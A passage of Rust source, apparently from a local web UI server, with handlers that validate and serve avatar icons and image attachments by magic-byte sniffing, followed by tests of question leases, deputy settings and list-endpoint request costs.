10039struct MagiIconUpload {
10040 icon: String,
10041}
10042
10043fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10044 save_icon_file(&magi_icon_path(home), icon)
10045}
10046
10047fn validate_uploaded_icon(icon: &str) -> Result<()> {
10048 if !icon.starts_with("data:") {
10049 anyhow::bail!("upload a raster image");
10050 }
10051 let (mime, bytes) = persona_icon::load(icon)?;
10052 if sniffed_mime(&bytes) != Some(mime) {
10053 anyhow::bail!("image content does not match its type");
10054 }
10055 Ok(())
10056}
10057
10058fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10059 validate_uploaded_icon(icon)?;
10060 atomic_icon_write(path, icon)
10061}
10062
10063fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10064 let home = path.parent().expect("icon parent");
10065 std::fs::create_dir_all(home)?;
10066 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10067 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10068 let result = (|| -> Result<()> {
10069 use std::io::Write;
10070 let mut file = std::fs::OpenOptions::new()
10071 .write(true)
10072 .create_new(true)
10073 .open(&temp)?;
10074 file.write_all(icon.as_bytes())?;
10075 file.sync_all()?;
10076 std::fs::rename(&temp, path)?;
10077 Ok(())
10078 })();
10079 let _ = std::fs::remove_file(temp);
10080 result?;
10081 Ok(())
10082}
10083
10084async fn magi_icon_put(
10085 State(ui): State<Arc<Ui>>,
10086 Json(upload): Json<MagiIconUpload>,
10087) -> ApiResult<Json<serde_json::Value>> {
10088 blocking(move || {
10089 if !upload.icon.starts_with("data:") {
10090 return Err(ApiError::bad_request("upload a raster image"));
10091 }
10092 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10093 if sniffed_mime(&bytes) != Some(mime) {
10094 return Err(ApiError::bad_request(
10095 "image content does not match its type",
10096 ));
10097 }
10098 save_magi_icon(&ui.home, &upload.icon)?;
10099 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10100 })
10101 .await
10102}
10103
10104async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10105 blocking(move || {
10106 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10107 Ok(()) => (),
10108 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10109 Err(e) => return Err(anyhow::Error::from(e).into()),
10110 }
10111 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10112 })
10113 .await
10114}
10115
10116async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10117 let icon = (q.builtin.is_none())
10118 .then(|| read_magi_icon(&ui.home))
10119 .flatten();
10120 let mut response = match icon
10121 .as_deref()
10122 .and_then(|icon| persona_icon::load(icon).ok())
10123 {
10124 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10125 attachment_response(mime, bytes)
10126 }
10127 _ => svg_avatar(persona_icon::magi_svg()),
10128 };
10129 response
10130 .headers_mut()
10131 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10132 response
10133}
10134
10135async fn talk_avatar(
10140 State(ui): State<Arc<Ui>>,
10141 Path(id): Path<String>,
10142 Query(q): Query<AvatarQuery>,
10143) -> ApiResult<Response> {
10144 blocking(move || {
10145 let id = resolve_talk(&ui.talks, &id)?;
10146 let talk = ui.talks.get(&id)?;
10147 let wanted = q
10148 .persona
10149 .as_deref()
10150 .map(str::trim)
10151 .filter(|p| !p.is_empty())
10152 .unwrap_or(&talk.persona)
10153 .to_owned();
10154 let specs = match Config::discover(&talk.repo, None) {
10155 Ok((cfg, _)) => cfg.talk.personas,
10156 Err(e) => {
10157 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10158 Vec::new()
10159 }
10160 };
10161 let found = persona::find(&specs, &wanted);
10162 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10164 let icon = effective_persona_icon(
10165 &ui.home,
10166 &wanted,
10167 found.as_ref().and_then(|p| p.icon.as_deref()),
10168 );
10169 if found.is_none() && icon.is_none() {
10170 return Ok(builtin_avatar(persona::DEFAULT_ID));
10171 }
10172 let Some(icon) = icon
10173 .as_deref()
10174 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10175 else {
10176 return Ok(builtin_avatar(&wanted));
10177 };
10178 let Some(found) = found else {
10179 return Ok(raster_or_builtin(
10180 Some(icon),
10181 persona_icon::builtin_svg(&wanted),
10182 ));
10183 };
10184 match persona_icon::load(icon) {
10185 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10186 let mut res = attachment_response(mime, bytes);
10187 res.headers_mut().insert(
10188 header::CACHE_CONTROL,
10189 header::HeaderValue::from_static("no-cache"),
10190 );
10191 Ok(res)
10192 }
10193 Ok((mime, _)) => {
10194 tracing::warn!(
10195 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10196 found.id
10197 );
10198 Ok(builtin_avatar(&found.id))
10199 }
10200 Err(e) => {
10201 tracing::warn!(
10202 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10203 found.id
10204 );
10205 Ok(builtin_avatar(&found.id))
10206 }
10207 }
10208 })
10209 .await
10210}
10211
10212fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10223 if data.len() > ATTACHMENT_MAX_BYTES {
10224 return Err(ApiError::bad_request(format!(
10225 "attachment is {} bytes, over the {} MiB limit",
10226 data.len(),
10227 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10228 ))
10229 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10230 }
10231 if data.is_empty() {
10232 return Err(ApiError::bad_request("attachment is empty"));
10233 }
10234 let declared = declared_mime(headers)?;
10235 match sniffed_mime(data) {
10236 Some(sniffed) if sniffed == declared => Ok(declared),
10237 Some(sniffed) => Err(ApiError::bad_request(format!(
10238 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10239 ))),
10240 None => Err(ApiError::bad_request(
10241 "the file's bytes do not match any accepted image format",
10242 )),
10243 }
10244}
10245
10246fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10250 let raw = headers
10251 .get(header::CONTENT_TYPE)
10252 .and_then(|v| v.to_str().ok())
10253 .unwrap_or("")
10254 .split(';')
10255 .next()
10256 .unwrap_or("")
10257 .trim()
10258 .to_ascii_lowercase();
10259 ATTACHMENT_MIME_WHITELIST
10260 .iter()
10261 .find(|&&m| m == raw)
10262 .copied()
10263 .ok_or_else(|| {
10264 if raw == "image/svg+xml" {
10265 ApiError::bad_request(
10266 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10267 not just a picture",
10268 )
10269 } else if raw.is_empty() {
10270 ApiError::bad_request("Content-Type is required for an attachment upload")
10271 } else {
10272 ApiError::bad_request(format!(
10273 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10274 image/gif or image/webp"
10275 ))
10276 }
10277 })
10278}
10279
10280fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10283 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10284 Some("image/png")
10285 } else if data.starts_with(b"\xff\xd8\xff") {
10286 Some("image/jpeg")
10287 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10288 Some("image/gif")
10289 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10290 Some("image/webp")
10291 } else {
10292 None
10293 }
10294}
10295
10296fn filename_header(headers: &HeaderMap) -> String {
10302 headers
10303 .get(FILENAME_HEADER)
10304 .and_then(|v| v.to_str().ok())
10305 .map(str::trim)
10306 .filter(|s| !s.is_empty())
10307 .unwrap_or("attachment")
10308 .to_owned()
10309}
10310
10311fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10318 let content_type = ATTACHMENT_MIME_WHITELIST
10319 .iter()
10320 .find(|&&m| m == mime)
10321 .copied()
10322 .unwrap_or("application/octet-stream");
10323 (
10324 [
10325 (header::CONTENT_TYPE, content_type),
10326 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10327 ],
10328 body,
10329 )
10330 .into_response()
10331}
10332
10333async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10341 let repo = repo.to_path_buf();
10342 blocking(move || {
10343 let (cfg, _) = Config::discover(&repo, None)?;
10344 Ok(cfg)
10345 })
10346 .await
10347}
10348
10349fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10355 let mut hits = ids
10356 .into_iter()
10357 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10358 match (hits.next(), hits.next()) {
10359 (Some(one), None) => Ok(one),
10360 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10361 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10362 "`{prefix}` matches more than one {what}, including {a} and {b}"
10363 ))),
10364 }
10365}
10366
10367#[cfg(test)]
10368mod tests {
10369
10370 #[test]
10371 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10372 let dir = tempfile::tempdir().unwrap();
10373 let store = ask::Questions::at(dir.path().join("questions"));
10374 let mut q = Question::new(
10375 "task".to_owned(),
10376 "conduct".to_owned(),
10377 "conduct".to_owned(),
10378 "choose".to_owned(),
10379 String::new(),
10380 vec!["keep".to_owned()],
10381 );
10382 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10383 q.say("why?").unwrap();
10384 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10385 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10386 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10387 store.put(&mut q).unwrap();
10388 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10389 assert_eq!(store.count_needs_owner(), 1);
10390 store.beat(&q.id, ask::WaiterKind::Deputy);
10391 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10392 assert_eq!(store.count_needs_owner(), 0);
10393 let mut stale = store.read_lease(&q.id).unwrap();
10394 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10395 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10396 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10397 assert!(view.deputy_exhausted);
10398 assert!(view.waiting_on_agent);
10399 assert_eq!(view.question.choices, ["keep"]);
10400 store.drop_lease(&q.id);
10401 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10402 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10403 }
10404
10405 #[test]
10406 fn holder_reads_the_lease_not_the_record() {
10407 let mut q = Question::new(
10408 "run".to_owned(),
10409 "implement".to_owned(),
10410 "impl-A".to_owned(),
10411 "which?".to_owned(),
10412 String::new(),
10413 Vec::new(),
10414 );
10415 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10416 q.cwd = Some("/tmp".to_owned());
10417 assert_eq!(holder_of(&q, None), Some("nobody"));
10418 let beat = |kind, ago: i64| ask::Lease {
10419 kind,
10420 pid: 1,
10421 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10422 .unwrap(),
10423 };
10424 let fresh = beat(ask::WaiterKind::Asker, 1);
10425 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10426 let daemon = beat(ask::WaiterKind::Daemon, 1);
10427 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10428 let stale = beat(ask::WaiterKind::Asker, 3600);
10429 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10430
10431 let mut c = Question::new(
10434 "task".to_owned(),
10435 crate::conduct::NODE.to_owned(),
10436 "conduct".to_owned(),
10437 "which?".to_owned(),
10438 String::new(),
10439 Vec::new(),
10440 );
10441 assert_eq!(holder_of(&c, None), Some("nobody"));
10442 c.cwd = Some("/tmp".to_owned());
10443 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10444 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10445 let deputy = beat(ask::WaiterKind::Deputy, 1);
10446 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10447 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10448
10449 let mut r = Question::new(
10451 String::new(),
10452 crate::bump::NOTICE_NODE.to_owned(),
10453 "release-watch".to_owned(),
10454 "stuck?".to_owned(),
10455 String::new(),
10456 vec!["hold".to_owned()],
10457 );
10458 assert_eq!(holder_of(&r, None), Some("nobody"));
10459 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10460 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10461 r.deputy = None;
10463 r.seat = "bump".to_owned();
10464 assert_eq!(holder_of(&r, None), None);
10465
10466 let mut m = Question::new(
10469 "run".to_owned(),
10470 crate::land::APPROVAL_NODE.to_owned(),
10471 "land".to_owned(),
10472 "merge?".to_owned(),
10473 String::new(),
10474 Vec::new(),
10475 );
10476 assert_eq!(holder_of(&m, None), Some("nobody"));
10477 assert_eq!(
10478 holder_of(&m, Some(&fresh)),
10479 Some("asker"),
10480 "a live explicit wait is a listener even before a deputy is attached"
10481 );
10482 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10483 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10484 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10485 assert_eq!(holder_of(&m, None), Some("nobody"));
10486 }
10487
10488 fn stub_config() -> Config {
10489 Config {
10492 agents: vec![crate::config::AgentSpec {
10493 id: "stub".to_owned(),
10494 kind: AgentKind::Command,
10495 model: None,
10496 command: vec!["true".to_owned()],
10497 extra_args: Vec::new(),
10498 env: Default::default(),
10499 prompt_delivery: None,
10500 max_turn_secs: None,
10501 }],
10502 ..Config::default()
10503 }
10504 }
10505
10506 fn plain_question(seat: &str) -> Question {
10507 Question::new(
10508 String::new(),
10509 "n".to_owned(),
10510 seat.to_owned(),
10511 "s".to_owned(),
10512 String::new(),
10513 Vec::new(),
10514 )
10515 }
10516
10517 #[test]
10518 fn deputies_enabled_follows_the_config() {
10519 let on = stub_config();
10520 assert!(crate::deputy::can_start(Some(&on), ""));
10521 assert!(crate::deputy::can_start(Some(&on), "stub"));
10522 let mut off = on.clone();
10523 off.daemon.max_deputies = 0;
10524 assert!(!crate::deputy::can_start(Some(&off), ""));
10525 let mut empty = on;
10526 empty.agents.clear();
10527 assert!(!crate::deputy::can_start(Some(&empty), ""));
10528 assert!(!crate::deputy::can_start(None, ""));
10529 }
10530
10531 #[test]
10532 fn question_views_load_the_config_once() {
10533 let dir = TempDir::new().unwrap();
10534 let store = ask::Questions::at(dir.path().to_path_buf());
10535 let mut with_deputy = plain_question("b");
10536 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10537 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10538
10539 let calls = std::cell::Cell::new(0usize);
10540 let views = question_views(qs.clone(), &store, || {
10541 calls.set(calls.get() + 1);
10542 Some(stub_config())
10543 });
10544 assert_eq!(calls.get(), 1);
10545 assert_eq!(views.len(), 3);
10546 for (v, q) in views.iter().zip(&qs) {
10547 assert_eq!(
10548 v.deputies_enabled,
10549 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10550 );
10551 }
10552
10553 let views = question_views(qs, &store, || None);
10554 assert!(views.iter().all(|v| !v.deputies_enabled));
10555
10556 let calls = std::cell::Cell::new(0usize);
10557 let views = question_views(Vec::new(), &store, || {
10558 calls.set(calls.get() + 1);
10559 None
10560 });
10561 assert!(views.is_empty());
10562 assert_eq!(calls.get(), 0);
10563 }
10564
10565 use pretty_assertions::assert_eq;
10566 use serde_json::Value;
10567 use tempfile::TempDir;
10568 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10569
10570 use super::*;
10571 use crate::config::Config;
10572 use crate::queue::Source;
10573
10574 const SETTLE_STEPS: usize = 3_000;
10585
10586 struct Fixture {
10592 home: TempDir,
10593 addr: SocketAddr,
10594 }
10595
10596 impl Fixture {
10597 async fn start() -> Self {
10598 Self::with_loop(launch_idle).await
10599 }
10600
10601 async fn with_loop(launch: Launch) -> Self {
10603 let home = TempDir::new().expect("temp home");
10604 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10605 Self { home, addr }
10606 }
10607
10608 async fn with_repo(repo: PathBuf) -> Self {
10612 let home = TempDir::new().expect("temp home");
10613 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10614 Self { home, addr }
10615 }
10616
10617 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10620 let home = TempDir::new().expect("temp home");
10621 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10622 Self { home, addr }
10623 }
10624
10625 async fn serve(
10626 home: &FsPath,
10627 repo: PathBuf,
10628 launch: Launch,
10629 machine: Option<PathBuf>,
10630 ) -> SocketAddr {
10631 let queue = Queue::at(home.join("queue"));
10632 let runs = home.join("runs");
10633 std::fs::create_dir_all(&runs).expect("runs dir");
10634 let worktrees = home.join("wt").join("magi");
10635 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10636 let ui = Ui::new(
10637 queue,
10638 Questions::at(home.join("questions")),
10639 Talks::at(home.join("talks")),
10640 runs,
10641 home.to_path_buf(),
10642 repo,
10643 )
10644 .with_worktrees_root(worktrees)
10645 .with_machine_config(machine)
10646 .with_launch(launch);
10647 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10648 .await
10649 .expect("bind loopback");
10650 let addr = listener.local_addr().expect("local addr");
10651 tokio::spawn(async move {
10652 let router = ui
10653 .router()
10654 .layer(axum::middleware::from_fn(request_cost::observe));
10655 let _ = axum::serve(listener, router).await;
10656 });
10657 addr
10658 }
10659
10660 fn queue(&self) -> Queue {
10661 Queue::at(self.home.path().join("queue"))
10662 }
10663
10664 fn questions(&self) -> Questions {
10665 Questions::at(self.home.path().join("questions"))
10666 }
10667
10668 fn talks(&self) -> Talks {
10669 Talks::at(self.home.path().join("talks"))
10670 }
10671
10672 fn runs(&self) -> PathBuf {
10673 self.home.path().join("runs")
10674 }
10675
10676 async fn get(&self, path: &str) -> Res {
10677 request(self.addr, "GET", path, None).await
10678 }
10679
10680 async fn head(&self, path: &str) -> Res {
10685 request(self.addr, "HEAD", path, None).await
10686 }
10687
10688 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10689 request(self.addr, "POST", path, body).await
10690 }
10691
10692 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10693 request_with(self.addr, "GET", path, None, extra).await
10694 }
10695
10696 async fn delete(&self, path: &str) -> Res {
10697 request(self.addr, "DELETE", path, None).await
10698 }
10699
10700 async fn put(&self, path: &str, body: &str) -> Res {
10701 request(self.addr, "PUT", path, Some(body)).await
10702 }
10703
10704 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10706 request_bytes(self.addr, path, headers, body).await
10707 }
10708 }
10709
10710 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10713 let tmp = TempDir::new().unwrap();
10714 let mut repos = Vec::new();
10715 for name in ["one", "two"] {
10716 let repo = tmp.path().join(name);
10717 let origin = tmp.path().join(format!("{name}.git"));
10718 std::fs::create_dir_all(&repo).unwrap();
10719 crate::git::git(&repo, &["init", "-b", "main"])
10720 .await
10721 .unwrap();
10722 std::fs::write(
10723 repo.join("magi.toml"),
10724 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10725 )
10726 .unwrap();
10727 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10728 crate::git::git(
10729 &repo,
10730 &[
10731 "-c",
10732 "user.name=fixture",
10733 "-c",
10734 "user.email=fixture@example.invalid",
10735 "commit",
10736 "-m",
10737 "fixture",
10738 ],
10739 )
10740 .await
10741 .unwrap();
10742 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10743 .await
10744 .unwrap();
10745 crate::git::git(
10746 &repo,
10747 &["remote", "add", "origin", origin.to_str().unwrap()],
10748 )
10749 .await
10750 .unwrap();
10751 crate::git::git(&repo, &["push", "origin", "main"])
10752 .await
10753 .unwrap();
10754 crate::git::git(
10755 &repo,
10756 &[
10757 "symbolic-ref",
10758 "refs/remotes/origin/HEAD",
10759 "refs/remotes/origin/main",
10760 ],
10761 )
10762 .await
10763 .unwrap();
10764 let (cfg, _) = Config::discover(&repo, None).unwrap();
10765 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10766 repos.push(repo);
10767 }
10768 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10769 (tmp, repos)
10770 }
10771
10772 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10773 let (tmp, repos) = performance_repositories().await;
10774 let machine = tmp.path().join("machine.toml");
10775 std::fs::write(&machine, "").unwrap();
10776 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10777 (tmp, repos, fx)
10778 }
10779
10780 fn seed_performance(
10781 fx: &Fixture,
10782 repos: &[PathBuf; 2],
10783 questions: usize,
10784 runs: usize,
10785 items: usize,
10786 ) {
10787 for i in fx.questions().list().len()..questions {
10789 let mut question = Question::new(
10790 "20261001-000000-0000".into(),
10791 "implement".into(),
10792 "impl-A".into(),
10793 format!("question {i}"),
10794 "context".into(),
10795 vec!["yes".into(), "no".into()],
10796 );
10797 question.id = format!("20261003-000000-{i:04x}");
10798 fx.questions().put(&mut question).unwrap();
10799 }
10800 for i in run_ids(&fx.runs()).len()..runs {
10801 write_run_repo(
10802 &fx.runs(),
10803 &format!("20261001-000000-{i:04x}"),
10804 RunStatus::Ready,
10805 repos[i % 2].to_str().unwrap(),
10806 );
10807 }
10808 for i in fx.talks().list().len()..items {
10809 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10810 let mut talk = fx.talks().get(&id).unwrap();
10811 talk.repo = repos[i % 2].clone();
10812 fx.talks().put(&mut talk).unwrap();
10813 let mut task = crate::queue::Task::new(
10814 format!("task {i}"),
10815 "instruction".into(),
10816 repos[i % 2].clone(),
10817 crate::queue::Source::Agent {
10818 run: id,
10819 node: crate::queue::CHAT_NODE.into(),
10820 },
10821 );
10822 task.id = format!("20261004-000000-{i:04x}");
10823 fx.queue().put(&mut task).unwrap();
10824 if i < crate::notices::CAP {
10826 Notices::at(fx.home.path().join("notifications"))
10827 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10828 .unwrap();
10829 }
10830 }
10831 assert_eq!(fx.questions().list().len(), questions);
10832 assert_eq!(run_ids(&fx.runs()).len(), runs);
10833 assert_eq!(fx.talks().list().len(), items);
10834 assert_eq!(fx.queue().list().len(), items);
10835 assert_eq!(
10836 Notices::at(fx.home.path().join("notifications"))
10837 .list()
10838 .len(),
10839 items.min(crate::notices::CAP)
10840 );
10841 }
10842
10843 fn request_counts(res: &Res) -> (usize, usize) {
10844 assert_eq!(res.status, 200, "{}", res.body);
10845 (
10846 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10847 res.header("x-test-git").unwrap().parse().unwrap(),
10848 )
10849 }
10850
10851 #[tokio::test]
10852 async fn list_request_cost_is_independent_of_record_count() {
10853 let (_tmp, repos, fx) = performance_fixture().await;
10854 let mut previous = None;
10855 for n in [4, 60] {
10856 seed_performance(&fx, &repos, n, n, n);
10857 let mut costs = Vec::new();
10858 for (path, discoveries) in [
10859 ("/api/questions", 1),
10860 ("/api/talks", 2),
10861 ("/api/health", 1),
10862 ("/api/stats", 1),
10863 ] {
10864 for repo in &repos {
10867 let cache = repo.join(".git/magi/config");
10868 if cache.exists() {
10869 std::fs::remove_dir_all(cache).unwrap();
10870 }
10871 }
10872 let cost = request_counts(&fx.get(path).await);
10873 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10874 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10875 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10876 costs.push(cost);
10877 }
10878 if let Some(previous) = previous {
10879 assert_eq!(costs, previous);
10880 }
10881 previous = Some(costs);
10882 }
10883 }
10887
10888 #[tokio::test]
10891 async fn list_handler_cost_without_transport() {
10892 let (_tmp, repos) = performance_repositories().await;
10893 let fx = Fixture {
10894 home: TempDir::new().unwrap(),
10895 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10896 };
10897 let ui = Arc::new(
10898 Ui::new(
10899 fx.queue(),
10900 fx.questions(),
10901 fx.talks(),
10902 fx.runs(),
10903 fx.home.path().to_path_buf(),
10904 repos[0].clone(),
10905 )
10906 .with_worktrees_root(fx.home.path().join("wt")),
10907 );
10908 let mut previous = None;
10909 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10910 seed_performance(&fx, &repos, n, runs, items);
10911 let mut costs = Vec::new();
10912 for endpoint in ["questions", "talks", "health", "stats"] {
10913 for repo in &repos {
10914 let cache = repo.join(".git/magi/config");
10915 if cache.exists() {
10916 std::fs::remove_dir_all(cache).unwrap();
10917 }
10918 }
10919 let (_, cost) = request_cost::measure(async {
10920 match endpoint {
10921 "questions" => {
10922 let _ = questions_list(State(ui.clone())).await.unwrap();
10923 }
10924 "talks" => {
10925 let _ = talks_list(
10926 State(ui.clone()),
10927 Query(ListQuery {
10928 limit: None,
10929 ids: None,
10930 }),
10931 )
10932 .await
10933 .unwrap();
10934 }
10935 "health" => {
10936 let _ = health(State(ui.clone())).await.unwrap();
10937 }
10938 _ => {
10939 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10940 .await
10941 .unwrap();
10942 }
10943 }
10944 })
10945 .await;
10946 eprintln!("{endpoint} handler N={n}: {cost:?}");
10947 assert_eq!(
10948 cost.0,
10949 if endpoint == "talks" { 2 } else { 1 },
10950 "{endpoint}"
10951 );
10952 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10953 costs.push(cost);
10954 }
10955 if let Some(previous) = previous {
10956 assert_eq!(costs, previous);
10957 }
10958 previous = Some(costs);
10959 }
10960 }
10961
10962 #[tokio::test]
10963 async fn list_request_cost_scopes_do_not_mix() {
10964 let (_tmp, repos, fx) = performance_fixture().await;
10965 seed_performance(&fx, &repos, 10, 0, 10);
10966 let (questions, talks, notices) = tokio::join!(
10967 fx.get("/api/questions"),
10968 fx.get("/api/talks"),
10969 fx.get("/api/notifications")
10970 );
10971 assert_eq!(request_counts(&questions).0, 1);
10972 assert_eq!(request_counts(&talks).0, 2);
10973 assert_eq!(request_counts(¬ices), (0, 0));
10974 }
10975
10976 #[tokio::test]
10977 async fn list_endpoints_large_home_responses() {
10978 check_large_home_endpoints(false).await;
10979 }
10980
10981 #[tokio::test]
10982 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
10983 async fn list_endpoints_large_home_ceiling() {
10984 check_large_home_endpoints(true).await;
10985 }
10986
10987 async fn check_large_home_endpoints(timed: bool) {
10988 let (_tmp, repos, fx) = performance_fixture().await;
10989 seed_performance(&fx, &repos, 200, 300, 400);
10990 let mut failures = Vec::new();
10991 for path in [
10994 "/",
10995 "/app.js",
10996 "/app.css",
10997 "/api/questions",
10998 "/api/runs?limit=300",
10999 "/api/queue",
11000 "/api/talks",
11001 "/api/notifications",
11002 "/api/health",
11003 "/api/stats",
11004 "/api/loop",
11005 "/api/settings",
11006 "/api/repos",
11007 ] {
11008 let start = std::time::Instant::now();
11009 let result = if timed {
11010 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11011 } else {
11012 Ok(fx.get(path).await)
11013 };
11014 let elapsed = start.elapsed();
11015 eprintln!("{path}: {elapsed:?}");
11016 match result {
11017 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11018 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11019 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11020 }
11021 }
11022 assert!(failures.is_empty(), "{}", failures.join("\n"));
11023 }
11024
11025 struct Res {
11026 status: u16,
11027 headers: String,
11028 head: String,
11033 body: String,
11034 bytes: Vec<u8>,
11038 }
11039
11040 impl Res {
11041 fn json(&self) -> Value {
11042 serde_json::from_str(&self.body)
11043 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11044 }
11045
11046 fn header(&self, name: &str) -> Option<&str> {
11048 self.head.lines().find_map(|line| {
11049 let (key, value) = line.split_once(':')?;
11050 key.trim()
11051 .eq_ignore_ascii_case(name)
11052 .then(|| value.trim_start().trim_end_matches('\r'))
11053 })
11054 }
11055 }
11056
11057 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11060 request_with(addr, method, path, body, &[]).await
11061 }
11062
11063 async fn request_with(
11067 addr: SocketAddr,
11068 method: &str,
11069 path: &str,
11070 body: Option<&str>,
11071 extra: &[(&str, &str)],
11072 ) -> Res {
11073 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11074 for (name, value) in extra {
11075 head.push_str(&format!("{name}: {value}\r\n"));
11076 }
11077 if let Some(body) = body {
11078 head.push_str("Content-Type: application/json\r\n");
11079 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11080 }
11081 head.push_str("\r\n");
11082 if let Some(body) = body {
11083 head.push_str(body);
11084 }
11085 let mut socket = tokio::net::TcpStream::connect(addr)
11086 .await
11087 .expect("connect to the test server");
11088 socket
11089 .write_all(head.as_bytes())
11090 .await
11091 .expect("write request");
